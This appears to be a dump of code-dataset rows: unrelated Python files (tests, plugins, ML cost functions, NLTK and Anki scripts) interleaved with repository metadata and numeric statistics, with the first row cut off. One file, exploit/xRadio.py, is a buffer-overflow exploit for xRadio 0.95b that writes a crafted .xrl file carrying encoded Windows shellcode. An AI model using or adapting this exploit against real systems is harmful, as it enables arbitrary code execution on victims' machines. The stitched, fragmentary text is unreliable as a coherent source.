... | 32.011494 | 156 | 0.604548 | 1,401 | 8,355 | 3.444682 | 0.102784 | 0.015748 | 0.029838 | 0.056361 | 0.816826 | 0.782843 | 0.769374 | 0.752383 | 0.73104 | 0.682967 | 0 | 0.046855 | 0.141712 | 8,355 | 260 | 157 | 32.134615 | 0.626133 | 0.129743 | 0 | 0.346774 | 0 | 0 | 0.067997 | 0 | 0 | 0 | 0 | 0 | 0.008065 | 1 | 0.008065 | false | 0 | 0.016129 | 0 | 0.032258 | 0.201613 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
cbb5b84b889431f65a5d604bca4e6cc33615f3a6 | 42 | py | Python | modules/sdl2/__init__.py | rave-engine/rave | 0eeb956363f4d7eda92350775d7d386550361273 | [
"BSD-2-Clause"
] | 5 | 2015-03-18T01:19:56.000Z | 2020-10-23T12:44:47.000Z | modules/sdl2/__init__.py | rave-engine/rave | 0eeb956363f4d7eda92350775d7d386550361273 | [
"BSD-2-Clause"
] | null | null | null | modules/sdl2/__init__.py | rave-engine/rave | 0eeb956363f4d7eda92350775d7d386550361273 | [
"BSD-2-Clause"
] | null | null | null | from . import audio, video, input, image
| 14 | 40 | 0.714286 | 6 | 42 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 42 | 2 | 41 | 21 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
cbdb070163c31abc19944c853dd7a7b886cc7def | 65 | py | Python | tests/io/file_stdio.py | learnforpractice/micropython-cpp | 004bc8382f74899e7b876cc29bfa6a9cc976ba10 | [
"MIT"
] | 3,010 | 2017-01-07T23:43:33.000Z | 2022-03-31T06:02:59.000Z | tests/io/file_stdio.py | learnforpractice/micropython-cpp | 004bc8382f74899e7b876cc29bfa6a9cc976ba10 | [
"MIT"
] | 4,478 | 2017-01-06T01:35:02.000Z | 2022-03-31T23:03:27.000Z | tests/io/file_stdio.py | learnforpractice/micropython-cpp | 004bc8382f74899e7b876cc29bfa6a9cc976ba10 | [
"MIT"
] | 1,149 | 2017-01-09T00:35:23.000Z | 2022-03-31T21:24:29.000Z | import sys
print(sys.stdin.fileno())
print(sys.stdout.fileno())
| 13 | 26 | 0.738462 | 10 | 65 | 4.8 | 0.6 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 65 | 4 | 27 | 16.25 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
1dca0ecdde1581a92cd7cd5dc97fddfb948f3e20 | 135 | py | Python | include/tclap-1.4.0-rc1/tests/test65.py | SpaceKatt/cpp-cli-poc | 02ffefea2fc6e999fa2b27d08a8b3be6830b1b97 | [
"BSL-1.0"
] | 62 | 2021-09-21T18:58:02.000Z | 2022-03-07T02:17:43.000Z | third_party/tclap-1.4.0-rc1/tests/test65.py | Vertexwahn/FlatlandRT | 37d09fde38b25eff5f802200b43628efbd1e3198 | [
"Apache-2.0"
] | null | null | null | third_party/tclap-1.4.0-rc1/tests/test65.py | Vertexwahn/FlatlandRT | 37d09fde38b25eff5f802200b43628efbd1e3198 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
import simple_test
simple_test.test("test12", ["-v", "1 2 3", "-v", "4 5 6", "-v", "7 8 9", "-v", "-1 0.2 0.4", ])
| 22.5 | 95 | 0.503704 | 28 | 135 | 2.357143 | 0.642857 | 0.30303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0.17037 | 135 | 5 | 96 | 27 | 0.446429 | 0.118519 | 0 | 0 | 0 | 0 | 0.330508 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
1deb1417c7ca3ed6d620b650d652f2268c866570 | 165 | py | Python | ape_vyper/__init__.py | NotPeopling2day/ape-vyper | 96a22e67728489511865e0c1ee712b3394b133c2 | [
"Apache-2.0"
] | 6 | 2021-05-12T23:18:36.000Z | 2022-03-24T09:22:23.000Z | ape_vyper/__init__.py | NotPeopling2day/ape-vyper | 96a22e67728489511865e0c1ee712b3394b133c2 | [
"Apache-2.0"
] | 19 | 2021-05-12T16:54:02.000Z | 2022-03-02T14:20:20.000Z | ape_vyper/__init__.py | NotPeopling2day/ape-vyper | 96a22e67728489511865e0c1ee712b3394b133c2 | [
"Apache-2.0"
] | 3 | 2021-05-12T21:01:54.000Z | 2022-01-21T22:21:38.000Z | from ape import plugins
from .compiler import VyperCompiler
@plugins.register(plugins.CompilerPlugin)
def register_compiler():
return (".vy",), VyperCompiler
| 18.333333 | 41 | 0.775758 | 18 | 165 | 7.055556 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.127273 | 165 | 8 | 42 | 20.625 | 0.881944 | 0 | 0 | 0 | 0 | 0 | 0.018182 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
38279ea4cc6f8cd988b5316eb8734529eb594954 | 85 | py | Python | src/datasets/common/__init__.py | PranavEranki/SSD-Algorithm | 778c8be06ad75c6dfbe98660fb32ef4cacb7ce4a | [
"MIT"
] | null | null | null | src/datasets/common/__init__.py | PranavEranki/SSD-Algorithm | 778c8be06ad75c6dfbe98660fb32ef4cacb7ce4a | [
"MIT"
] | null | null | null | src/datasets/common/__init__.py | PranavEranki/SSD-Algorithm | 778c8be06ad75c6dfbe98660fb32ef4cacb7ce4a | [
"MIT"
] | 1 | 2020-02-23T00:40:08.000Z | 2020-02-23T00:40:08.000Z |
from .dataset_source import DatasetSource
from .dataset_writer import DatasetWriter
| 21.25 | 41 | 0.870588 | 10 | 85 | 7.2 | 0.7 | 0.305556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105882 | 85 | 3 | 42 | 28.333333 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
382b755d02e0f1bbd5ba82c0fa4e529b27642b1f | 4,251 | py | Python | exploit/xRadio.py | NotFoundHacker/KaliExploit | 9a87798938c8f0b7754d0e7ffe20a186b552adc7 | [
"MIT"
] | null | null | null | exploit/xRadio.py | NotFoundHacker/KaliExploit | 9a87798938c8f0b7754d0e7ffe20a186b552adc7 | [
"MIT"
] | null | null | null | exploit/xRadio.py | NotFoundHacker/KaliExploit | 9a87798938c8f0b7754d0e7ffe20a186b552adc7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
#
from core import logger
#
# windows/messagebox - 590 bytes
# x86/alpha_upper
#
"""
This module exploits a buffer overflow in xRadio 0.95b. Using the
application to import a specially crafted xrl file, a buffer
overflow occurs allowing arbitrary code execution."""
class Exploit:
config={
}
de... | 41.271845 | 101 | 0.668313 | 842 | 4,251 | 3.36342 | 0.206651 | 0.038136 | 0.025424 | 0.025424 | 0.038136 | 0.021186 | 0 | 0 | 0 | 0 | 0 | 0.287296 | 0.107504 | 4,251 | 102 | 102 | 41.676471 | 0.459146 | 0.01482 | 0 | 0.025316 | 0 | 0.518987 | 0.715966 | 0.625626 | 0 | 1 | 0 | 0 | 0 | 1 | 0.063291 | false | 0 | 0.012658 | 0.012658 | 0.113924 | 0.101266 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
384236e370b45275685506bccd09da961477be46 | 233 | py | Python | exquiro/models/class_diagram/attribute.py | xhusar2/conceptual_model_parser | 63eea4ab8b967a6d2ee612ffb4a06b93e97d0043 | [
"MIT"
] | null | null | null | exquiro/models/class_diagram/attribute.py | xhusar2/conceptual_model_parser | 63eea4ab8b967a6d2ee612ffb4a06b93e97d0043 | [
"MIT"
] | null | null | null | exquiro/models/class_diagram/attribute.py | xhusar2/conceptual_model_parser | 63eea4ab8b967a6d2ee612ffb4a06b93e97d0043 | [
"MIT"
] | null | null | null |
class Attribute:
name = ""
id = ""
attributes = []
def __init__(self, attrib_id, name):
self.name = name
self.id = attrib_id
def __str__(self):
return f'id:{self.id} name: {self.name}'
| 16.642857 | 48 | 0.540773 | 29 | 233 | 4 | 0.413793 | 0.206897 | 0.172414 | 0.241379 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.321888 | 233 | 13 | 49 | 17.923077 | 0.734177 | 0 | 0 | 0 | 0 | 0 | 0.12987 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0 | 0.111111 | 0.777778 | 0 | 1 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
69d3a8ab2872b70adc61bba4d49a0fadf1054651 | 25 | py | Python | __init__.py | vishalbelsare/RLS | 877358be0671129bf5c31aedbdf31bed38e9297a | [
"MIT"
] | 1 | 2021-07-24T18:13:00.000Z | 2021-07-24T18:13:00.000Z | __init__.py | vishalbelsare/RLS | 877358be0671129bf5c31aedbdf31bed38e9297a | [
"MIT"
] | null | null | null | __init__.py | vishalbelsare/RLS | 877358be0671129bf5c31aedbdf31bed38e9297a | [
"MIT"
] | 1 | 2021-07-24T18:13:01.000Z | 2021-07-24T18:13:01.000Z | from RLS.RLS import RLS
| 12.5 | 24 | 0.76 | 5 | 25 | 3.8 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 25 | 1 | 25 | 25 | 0.95 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
69d879d34b083c6f145914643ec4b88f44e5bd04 | 30 | py | Python | primer/module.py | YunYouJun/python-learn | e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c | [
"MIT"
] | null | null | null | primer/module.py | YunYouJun/python-learn | e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c | [
"MIT"
] | null | null | null | primer/module.py | YunYouJun/python-learn | e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c | [
"MIT"
] | null | null | null | from math import pi
print(pi)
| 10 | 19 | 0.766667 | 6 | 30 | 3.833333 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 30 | 2 | 20 | 15 | 0.92 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
69fbbaee70c4c46e85c50e9ae7cd23771cea7460 | 310 | py | Python | Package Bundler.py | STPackageBundler/package-bundler | 6c2a97f7b1db2dc5d6afff72557c09927095d851 | [
"MIT"
] | 7 | 2015-01-24T05:22:31.000Z | 2018-07-12T07:30:46.000Z | Package Bundler.py | STPackageBundler/package-bundler | 6c2a97f7b1db2dc5d6afff72557c09927095d851 | [
"MIT"
] | null | null | null | Package Bundler.py | STPackageBundler/package-bundler | 6c2a97f7b1db2dc5d6afff72557c09927095d851 | [
"MIT"
] | null | null | null | from .package_bundler.commands.load import PackageBundlerLoadCommand
from .package_bundler.commands.manager import PackageBundlerManagerCommand
from .package_bundler.commands.create import PackageBundlerCreateBundleCommand
from .package_bundler.events_listeners.project_loader import ProjectLoaderEventListener | 77.5 | 87 | 0.912903 | 30 | 310 | 9.233333 | 0.533333 | 0.158845 | 0.259928 | 0.281588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048387 | 310 | 4 | 87 | 77.5 | 0.938983 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3858b41dd95dee29fa3d8ad28d00fdf8453285d4 | 27 | py | Python | tests/test_diss.py | mvcisback/DISS | 3ac94d62d2f10e2642a5ea7ef27b1ed045664abc | [
"MIT"
] | null | null | null | tests/test_diss.py | mvcisback/DISS | 3ac94d62d2f10e2642a5ea7ef27b1ed045664abc | [
"MIT"
] | null | null | null | tests/test_diss.py | mvcisback/DISS | 3ac94d62d2f10e2642a5ea7ef27b1ed045664abc | [
"MIT"
] | null | null | null | def test_smoke():
pass
| 9 | 17 | 0.62963 | 4 | 27 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.259259 | 27 | 2 | 18 | 13.5 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
389e5cfb89c3ee3cd5c0cd63b9d29182b8d8435e | 87 | py | Python | backend/users/tests.py | NumanIbnMazid/numanibnmazid.com | 905e3afab285316d88bafa30dc080dfbb0611731 | [
"MIT"
] | 1 | 2022-01-28T18:20:19.000Z | 2022-01-28T18:20:19.000Z | backend/users/tests.py | NumanIbnMazid/numanibnmazid.com | 905e3afab285316d88bafa30dc080dfbb0611731 | [
"MIT"
] | null | null | null | backend/users/tests.py | NumanIbnMazid/numanibnmazid.com | 905e3afab285316d88bafa30dc080dfbb0611731 | [
"MIT"
] | null | null | null | # import test cases
from users.test_cases.user_test_cases import UserTestCase # NOQA
| 21.75 | 65 | 0.816092 | 13 | 87 | 5.230769 | 0.615385 | 0.397059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 87 | 3 | 66 | 29 | 0.906667 | 0.252874 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
38b5485bd4c08353afb9b1a765fa78134b2a3049 | 77 | py | Python | quantipy/core/tools/view/__init__.py | encount/quantipy3 | 01fe350b79594ba162cd48ce91f6e547e74265fe | [
"MIT"
] | null | null | null | quantipy/core/tools/view/__init__.py | encount/quantipy3 | 01fe350b79594ba162cd48ce91f6e547e74265fe | [
"MIT"
] | null | null | null | quantipy/core/tools/view/__init__.py | encount/quantipy3 | 01fe350b79594ba162cd48ce91f6e547e74265fe | [
"MIT"
] | null | null | null | from . import agg
from . import meta
from . import struct
from . import query | 19.25 | 20 | 0.753247 | 12 | 77 | 4.833333 | 0.5 | 0.689655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194805 | 77 | 4 | 21 | 19.25 | 0.935484 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2a627d577441bd87ff76b1f7fd715d75193c3aa1 | 177 | py | Python | modules/rapids_modules/transform/data_obj.py | goosen78/gQuant | cc0bff4ac524ccfbe8097acd647a8b3fad5fe578 | [
"Apache-2.0"
] | null | null | null | modules/rapids_modules/transform/data_obj.py | goosen78/gQuant | cc0bff4ac524ccfbe8097acd647a8b3fad5fe578 | [
"Apache-2.0"
] | null | null | null | modules/rapids_modules/transform/data_obj.py | goosen78/gQuant | cc0bff4ac524ccfbe8097acd647a8b3fad5fe578 | [
"Apache-2.0"
] | null | null | null | class NormalizationData(object):
def __init__(self, data):
self.data = data
class ProjectionData(object):
def __init__(self, data):
self.data = data
| 16.090909 | 32 | 0.649718 | 20 | 177 | 5.35 | 0.4 | 0.299065 | 0.242991 | 0.317757 | 0.616822 | 0.616822 | 0.616822 | 0.616822 | 0 | 0 | 0 | 0 | 0.248588 | 177 | 10 | 33 | 17.7 | 0.804511 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
aa5019510be8dcde3a8d23f7f8be5bc4a92c92d3 | 124 | py | Python | solutions/variance.py | jsamoocha/python-for-datascience | 1b8f8b96944eb23cce2b7200f66361dd223ce13e | [
"MIT"
] | null | null | null | solutions/variance.py | jsamoocha/python-for-datascience | 1b8f8b96944eb23cce2b7200f66361dd223ce13e | [
"MIT"
] | null | null | null | solutions/variance.py | jsamoocha/python-for-datascience | 1b8f8b96944eb23cce2b7200f66361dd223ce13e | [
"MIT"
] | null | null | null | def variance(numbers):
mu = sum(numbers) / len(numbers)
return sum([(n - mu) ** 2 for n in numbers]) / len(numbers)
| 31 | 63 | 0.612903 | 19 | 124 | 4 | 0.578947 | 0.263158 | 0.447368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010309 | 0.217742 | 124 | 3 | 64 | 41.333333 | 0.773196 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
aa5482072d2a74021ef1f149b710759a0ec7c8be | 216 | py | Python | Codewars/7kyu/complementary-dna/Python/test.py | RevansChen/online-judge | ad1b07fee7bd3c49418becccda904e17505f3018 | [
"MIT"
] | 7 | 2017-09-20T16:40:39.000Z | 2021-08-31T18:15:08.000Z | Codewars/7kyu/complementary-dna/Python/test.py | RevansChen/online-judge | ad1b07fee7bd3c49418becccda904e17505f3018 | [
"MIT"
] | null | null | null | Codewars/7kyu/complementary-dna/Python/test.py | RevansChen/online-judge | ad1b07fee7bd3c49418becccda904e17505f3018 | [
"MIT"
] | null | null | null | # Python - 3.6.0
Test.assert_equals(DNA_strand('AAAA'), 'TTTT', 'String AAAA is')
Test.assert_equals(DNA_strand('ATTGC'), 'TAACG', 'String ATTGC is')
Test.assert_equals(DNA_strand('GTAT'), 'CATA', 'String GTAT is')
| 36 | 67 | 0.708333 | 34 | 216 | 4.323529 | 0.5 | 0.204082 | 0.326531 | 0.387755 | 0.537415 | 0.367347 | 0 | 0 | 0 | 0 | 0 | 0.015306 | 0.092593 | 216 | 5 | 68 | 43.2 | 0.734694 | 0.064815 | 0 | 0 | 0 | 0 | 0.345 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aa65aeec14b5b9a13426da76359de50ea5eece36 | 3,538 | py | Python | ankistats/stats.py | nogira/anki-stats | 81fc4b11ff958d9844f95679a1fe596b2865d29c | [
"MIT"
] | null | null | null | ankistats/stats.py | nogira/anki-stats | 81fc4b11ff958d9844f95679a1fe596b2865d29c | [
"MIT"
] | null | null | null | ankistats/stats.py | nogira/anki-stats | 81fc4b11ff958d9844f95679a1fe596b2865d29c | [
"MIT"
] | null | null | null | from .tables import *
def stats_lapse_retention(
start_date: str = "",
end_date: str = ""
):
"""
Get the percentage of corrent answers.
Date input in the format of "DD-MM-YY"
"""
df = tbl_reviews()
if start_date:
date = pd.to_datetime(start_date, format="%d-%m-%y")
... | 29.483333 | 81 | 0.596099 | 462 | 3,538 | 4.335498 | 0.201299 | 0.065901 | 0.035946 | 0.023964 | 0.77983 | 0.77983 | 0.77983 | 0.77983 | 0.77983 | 0.77983 | 0 | 0.005225 | 0.296778 | 3,538 | 119 | 82 | 29.731092 | 0.799839 | 0.201526 | 0 | 0.821918 | 0 | 0 | 0.107942 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054795 | false | 0 | 0.013699 | 0 | 0.068493 | 0.082192 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aa827e294f9285097e86e2726f649c0eddadd157 | 3,415 | py | Python | pylearn2/costs/hinge_loss.py | BouchardLab/pylearn2 | 4cab785b870d22cd9e85a5f536d4cac234b6bf60 | [
"BSD-3-Clause"
] | null | null | null | pylearn2/costs/hinge_loss.py | BouchardLab/pylearn2 | 4cab785b870d22cd9e85a5f536d4cac234b6bf60 | [
"BSD-3-Clause"
] | null | null | null | pylearn2/costs/hinge_loss.py | BouchardLab/pylearn2 | 4cab785b870d22cd9e85a5f536d4cac234b6bf60 | [
"BSD-3-Clause"
] | null | null | null | """
Hinge loss costs.
"""
__authors__ = 'Jesse Livezey, Brian Cheung'
from theano.compat.python2x import OrderedDict
from pylearn2.costs.cost import Cost, DefaultDataSpecsMixin
from pylearn2.expr.nnet import HingeL2, HingeL1, Misclass
class HingeLoss(DefaultDataSpecsMixin, Cost):
supervised = True
def get_m... | 32.836538 | 87 | 0.595022 | 394 | 3,415 | 4.873096 | 0.200508 | 0.1 | 0.088542 | 0.071875 | 0.755729 | 0.745313 | 0.745313 | 0.745313 | 0.745313 | 0.745313 | 0 | 0.009495 | 0.321523 | 3,415 | 103 | 88 | 33.15534 | 0.819163 | 0.004978 | 0 | 0.792683 | 0 | 0 | 0.034513 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0 | 0.036585 | 0 | 0.268293 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aa9380f4b2ce3efca51bbd6da3de1f92185f4f1f | 6,825 | py | Python | main_NLTK.py | Jordan396/Twitter-Sentiment-Analysis | c81abca584ec040c5fa8f284845a5d9cdbb4bbc7 | [
"MIT"
] | 10 | 2019-10-12T01:40:25.000Z | 2021-11-28T19:03:56.000Z | main_NLTK.py | JordanTanCH/Basic_Twitter_Sentiment_Analysis | c81abca584ec040c5fa8f284845a5d9cdbb4bbc7 | [
"MIT"
] | null | null | null | main_NLTK.py | JordanTanCH/Basic_Twitter_Sentiment_Analysis | c81abca584ec040c5fa8f284845a5d9cdbb4bbc7 | [
"MIT"
] | 5 | 2019-04-17T02:34:56.000Z | 2021-01-29T21:47:05.000Z | '''
Python 3.6, Python NLTK model
This file contains the code required to test the various models under the Python NLTK model.
The results will be written into their individual output file in a CSV format.
Instructions to execute the file can be found at the bottom of the file.
'''
import csv
from nltk.sentiment.vade... | 31.451613 | 112 | 0.675751 | 783 | 6,825 | 5.773946 | 0.205619 | 0.084052 | 0.029197 | 0.024773 | 0.782791 | 0.761115 | 0.761115 | 0.738996 | 0.722628 | 0.722628 | 0 | 0.007718 | 0.202637 | 6,825 | 217 | 113 | 31.451613 | 0.823043 | 0.069011 | 0 | 0.856061 | 0 | 0 | 0.117358 | 0.040056 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030303 | false | 0 | 0.037879 | 0 | 0.068182 | 0.075758 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
aa98dc8a73ac60c704da20d603a503d790b1f93f | 537 | py | Python | tests/test_impact_stats.py | natcap/opal | 7b960d51344483bae30d14ccfa6004bd550f3737 | [
"BSD-3-Clause"
] | 1 | 2020-04-15T23:23:27.000Z | 2020-04-15T23:23:27.000Z | tests/test_impact_stats.py | natcap/opal | 7b960d51344483bae30d14ccfa6004bd550f3737 | [
"BSD-3-Clause"
] | null | null | null | tests/test_impact_stats.py | natcap/opal | 7b960d51344483bae30d14ccfa6004bd550f3737 | [
"BSD-3-Clause"
] | null | null | null | from adept import static_maps
if __name__ == '__main__':
stats = static_maps.compute_impact_stats(
'/home/jadoug06/workspace/invest-natcap.permitting/ignore_me/sediment_map_quality/bare/watershed_40/random_impact_0',
'sediment',
